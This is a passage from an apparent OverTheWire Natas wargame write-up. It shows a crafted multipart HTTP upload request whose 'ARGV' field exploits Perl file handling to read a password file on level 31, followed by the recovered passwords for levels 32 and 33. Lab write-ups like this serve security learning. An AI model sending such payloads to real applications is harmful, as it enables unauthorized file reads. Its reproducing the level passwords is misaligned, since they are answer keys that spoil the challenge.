Referer: http://natas31.natas.labs.overthewire.org/index.pl
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Connection: close

------WebKitFormBoundaryzI73FVSf9Ocjjgr7
Content-Disposition: form-data; name="file";

ARGV
------WebKitFormBoundaryzI73FVSf9Ocjjgr7
Content-Disposition: form-data; name="file"; filename="password"

aaa

------WebKitFormBoundaryzI73FVSf9Ocjjgr7
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundaryzI73FVSf9Ocjjgr7--

natas32:no1vohsheCaiv3ieH4em1ahchisainge

lvl 32-33

This is done similar to above level

natas33:shoogeiGa2yee3de6Aex8uaXeech5eey